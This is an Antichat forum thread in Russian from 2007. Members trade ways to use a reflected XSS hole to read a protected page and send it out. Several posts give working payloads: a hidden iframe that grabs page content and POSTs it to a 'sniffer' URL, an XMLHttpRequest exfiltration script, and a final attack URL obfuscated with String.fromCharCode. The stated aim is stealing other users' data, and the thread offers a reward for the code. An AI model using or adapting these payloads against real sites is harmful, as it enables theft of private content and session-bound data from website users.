(+50) Вопрос по Javascript

Discussion in 'PHP' started by c411k, 19 May 2007.

  1. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    Gh0s7 попропрорпросил запостить :)

    Собственно сабж. Есть вопрос по жс.
    <Gh0s7> Ситуация такая:
    <Gh0s7> Есть саент, на нем пассив гет хсс, длина неорграничена.
    <Gh0s7> На том же саенте есть мааленькая страничка. Она очень маленькая, в одну строку, примерно 12-16 символов, полностью без хтмл.
    <Gh0s7> Нужно через имеющуюся хсс слить эту страницу куда-нибудь, например на сниффер.
    <Gh0s7> На сколько я знаю, это реально.
    <Gh0s7> Тем, кто даст код +50 в репу (после того, как вернусь из отпуска, в понедельник)
     
    _________________________
    1 person likes this.
  2. Abra

    Abra Member

    Joined:
    17 Sep 2005
    Messages:
    278
    Likes Received:
    51
    Reputations:
    29
    через xss получить контент страницы? 0_о страница закрытая что ли? Типа для мемберов?
    Думаю через XMLHttpRequest как-нить поколодовать можно. Отправить запрос на страницу, получить контент в качестве ответа, передать контент снифферу. Хотя хз.

    Вариант 2:
    Вставляем в уязвимую страницу фрейм с таргетом на закрытую страницу, и JS код который тырит контент фрейма (помоему innerHTML может из фрейма контент забрать?). ну и далее этот контент отправляем на снифак.

    ЗЫ просто мысли в слух - надеюсь никто не против.
     
    #2 Abra, 19 May 2007
    Last edited: 19 May 2007
  3. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    Code:
    <script src=""></script>
    мб так? имхо минимальный размер)
     
    _________________________
    1 person likes this.
  4. invlose

    invlose Banned

    Joined:
    6 May 2007
    Messages:
    55
    Likes Received:
    71
    Reputations:
    -40
    +toxa+=)
    опередил
     
  5. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    А так не меньше?
    HTML:
    <frame src="">
     
  6. invlose

    invlose Banned

    Joined:
    6 May 2007
    Messages:
    55
    Likes Received:
    71
    Reputations:
    -40
    в случае фрейма должны быть одинаковые домены(тут тоже есть тонкость) фрейма и закрытой страницы


    или нужно писать <frame src='javascript:......'> (не уверен что прокатит)

    ********
    если я правильно понял про что вы ,
    если нет-извините=)
     
  7. V1k

    V1k Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    38
    Likes Received:
    32
    Reputations:
    13
    HTML:
    <iframe id="i1" name="i1" style="display:none" src="http://that/we/wish/to.steal" onload="i1.onload='';i1.contentDocument.location='http://our/sniffer.script?data='+escape(i1.contentDocument.getElementsByTagName('html')[0].innerHTML)"></iframe>
    Это будет работать, естественно, если не противоречит безопасности JavaScript, т.е. страница с xss и похищяемая должны иметь одинаковые протокол и домен.
     
  8. V1k

    V1k Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    38
    Likes Received:
    32
    Reputations:
    13
    GreenBear, все таки
    или
    ?
     
  9. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    <Gh0s7> 'Не код страницы где хсс, а код той небольшой страницы, где 14-16 символов'
     
    2 people like this.
  10. V1k

    V1k Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    38
    Likes Received:
    32
    Reputations:
    13
    омг, ты в курсе что событие onload в iframe происходит после того, как полностью загрузилась страница, указанная в его src?
     
  11. V1k

    V1k Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    38
    Likes Received:
    32
    Reputations:
    13
    Два изменения:
    1) Теперь читаются не только html, но и txt(т.е. страницы без тегов).
    2) Исходный текст страницы передается POST'ом=>увеличена возможная длина.

    Теперь хтмл выглядит так:

    HTML:
    <iframe id="i1" name="i1" style="display:none" src="http://that/we/wish/to.steal" onload="i1.onload='';data=i1.contentDocument.childNodes[0].innerHTML;i1.contentDocument.appendChild(f1=i1.contentDocument.createElement('form'));f1.appendChild(t1=i1.contentDocument.createElement('input'));f1.method='post';f1.action='http://our/sniffer.script';t1.name='send';t1.value=data;f1.submit()"></iframe>
    Несмотря на до сих пор мне непонятные претензии iNVLose, код работает
     
  12. Helios

    Helios Elder - Старейшина

    Joined:
    14 Jan 2007
    Messages:
    414
    Likes Received:
    180
    Reputations:
    103
    Вот пример:
    PHP:
    <script>
    function 
    cR(){var hR;var b=navigator.appName;if(b=="Microsoft Internet Explorer"){hR=new ActiveXObject("Microsoft.XMLHTTP");}else{hR=new XMLHttpRequest();}return hR;}
    function 
    gT(){if(r.readyState==4&&s==0){var t=r.responseText;s=1;r.open('get',sniff+t);r.send(null);}}
    var 
    r=new cR();var s=0;var sniff 'url_of_sniffer.php?';
    r.open('get''url_to_be_opened');
    r.onreadystatechange gT;
    r.send(null);
    </script>
    Заменить url_of_sniffer.php на URL сниффера, url_to_be_opened на адрес нужной страницы.

    З.Ы. Iframe не поможет, т.к. браузер:
    а) Не передает в него кукисы, HTTP_AUTH_USER, etc от основной страницы.
    б) Не даст посмотреть его innerHTML
     
  13. V1k

    V1k Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    38
    Likes Received:
    32
    Reputations:
    13
    Дело в том, что я писал свой вариант ориентируясь на Оперу. Мой код не работает под Ие, твой под Оперой. Может имеет смысл объединить их и получить кроссбраузерный варант=)
    Ты уверен?
     
  14. Helios

    Helios Elder - Старейшина

    Joined:
    14 Jan 2007
    Messages:
    414
    Likes Received:
    180
    Reputations:
    103
    Под 7.1 может и не работает...

    Проверь
     
    1 person likes this.
  15. V1k

    V1k Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    38
    Likes Received:
    32
    Reputations:
    13
    не угадал, не работает под 9.2
    Cookies привязываются не к определенной странице, обычно это [протокол] домен [путь].
    Даже если бы они не передавались, ничто не помешало бы взять их в document.cookie и передать iframe'у.


    Несовместимость с Ие заключалась в двух вещах:
    1) В Ие iframe-document расположен не в iframe.contentDocument, а в iframe.document
    2) Несмотря на стандарты ecmascript Ie запрещает инициировать отправку формы размещенную в iframe путем iframe.document.form.submit()



    Рассмотрим пример.
    страница
    Code:
    http://v1k.jino-net.ru/page1.php
    обладает xss уязвимостю в параметре echo. Она также присваивает cookie "login=billgates".
    страница
    Code:
    http://v1k.jino-net.ru/secretpage.php
    проверяет cookie, и если в нем login==billgates, to выводит, безусловно, секретную информацию "bill gates is lamer", иначе пишет "You didn't enter".
    страница
    Code:
    http://v1k.jino-net.ru/sniffer.php
    является сниффером,который записывает каждое значение из $_REQUEST в лог sinfferlog.txt.

    Нам нужно узнать, что билл ламер.

    Код теперь имеет вид
    PHP:
    <iframe id=i1 style=display:none name=i1 src=http://v1k.jino-net.ru/secretpage.php onload="
    if(typeof(onetime)=='undefined'){
    onetime=1;
    idoc=(navigator.appName=='Microsoft Internet Explorer')?i1.document:i1.contentDocument;//определяем iframe-document в зависимости от браузера
    data=idoc.childNodes[0].innerHTML;
    idoc.write('<form method=post id=\'f1\' action=\'http://v1k.jino-net.ru/sniffer.php\'><input name=\'send\' value=\''+escape(data)+'\'/></form><script>f1.submit()</script>')//пишем в iframe самоотправляющуюся форму
    }"></iframe>
    Где Iframe Src = код похищяемой страницы, а Form Action адрес сниффера.

    %22 и %27 экранируются на jino-net, поэтому кодируем содержимое Iframe Onload в вид String.fromCharCode -
    Code:
    String.fromCharCode(105,102,40,116,121,112,101,111,102,40,111,110,101,116,105,109,101,41,61,61,39,117,110,100,101,102,105,110,101,100,39,41,123,111,110,101,116,105,109,101,61,49,59,105,100,111,99,61,40,110,97,118,105,103,97,116,111,114,46,97,112,112,78,97,109,101,61,61,39,77,105,99,114,111,115,111,102,116,32,73,110,116,101,114,110,101,116,32,69,120,112,108,111,114,101,114,39,41,63,105,49,46,100,111,99,117,109,101,110,116,58,105,49,46,99,111,110,116,101,110,116,68,111,99,117,109,101,110,116,59,100,97,116,97,61,105,100,111,99,46,99,104,105,108,100,78,111,100,101,115,91,48,93,46,105,110,110,101,114,72,84,77,76,59,105,100,111,99,46,119,114,105,116,101,40,39,60,102,111,114,109,32,109,101,116,104,111,100,61,112,111,115,116,32,105,100,61,92,39,102,49,92,39,32,97,99,116,105,111,110,61,92,39,104,116,116,112,58,47,47,118,49,107,46,106,105,110,111,45,110,101,116,46,114,117,47,115,110,105,102,102,101,114,46,112,104,112,92,39,62,60,105,110,112,117,116,32,110,97,109,101,61,92,39,115,101,110,100,92,39,32,118,97,108,117,101,61,92,39,39,43,101,115,99,97,112,101,40,100,97,116,97,41,43,39,92,39,47,62,60,47,102,111,114,109,62,60,115,99,114,105,112,116,62,102,49,46,115,117,98,109,105,116,40,41,60,47,115,99,114,105,112,116,62,39,41,125)
    Конечный url -
    Code:
    http://v1k.jino-net.ru/page1.php?echo=<iframe%20id=i1%20style=display:none%20name=i1%20src=http://v1k.jino-net.ru/secretpage.php%20onload=eval(String.fromCharCode(105,102,40,116,121,112,101,111,102,40,111,110,101,116,105,109,101,41,61,61,39,117,110,100,101,102,105,110,101,100,39,41,123,111,110,101,116,105,109,101,61,49,59,105,100,111,99,61,40,110,97,118,105,103,97,116,111,114,46,97,112,112,78,97,109,101,61,61,39,77,105,99,114,111,115,111,102,116,32,73,110,116,101,114,110,101,116,32,69,120,112,108,111,114,101,114,39,41,63,105,49,46,100,111,99,117,109,101,110,116,58,105,49,46,99,111,110,116,101,110,116,68,111,99,117,109,101,110,116,59,100,97,116,97,61,105,100,111,99,46,99,104,105,108,100,78,111,100,101,115,91,48,93,46,105,110,110,101,114,72,84,77,76,59,105,100,111,99,46,119,114,105,116,101,40,39,60,102,111,114,109,32,109,101,116,104,111,100,61,112,111,115,116,32,105,100,61,92,39,102,49,92,39,32,97,99,116,105,111,110,61,92,39,104,116,116,112,58,47,47,118,49,107,46,106,105,110,111,45,110,101,116,46,114,117,47,115,110,105,102,102,101,114,46,112,104,112,92,39,62,60,105,110,112,117,116,32,110,97,109,101,61,92,39,115,101,110,100,92,39,32,118,97,108,117,101,61,92,39,39,43,101,115,99,97,112,101,40,100,97,116,97,41,43,39,92,39,47,62,60,47,102,111,114,109,62,60,115,99,114,105,112,116,62,102,49,46,115,117,98,109,105,116,40,41,60,47,115,99,114,105,112,116,62,39,41,125))></iframe>
    Работает и на Opera, и на Internet Explorer, и на Mozilla Firefox.

    ЗЫ: i am ajax hater
     
    1 person likes this.
  16. gerth

    gerth New Member

    Joined:
    13 Jul 2013
    Messages:
    29
    Likes Received:
    0
    Reputations:
    0
    Пишу постер на php curl не могу сделать отправку формы, а точнее имитацию параметров синтезируемых javascript [​IMG]
    Помогите, кто может(хостинг форумов rusff.ru).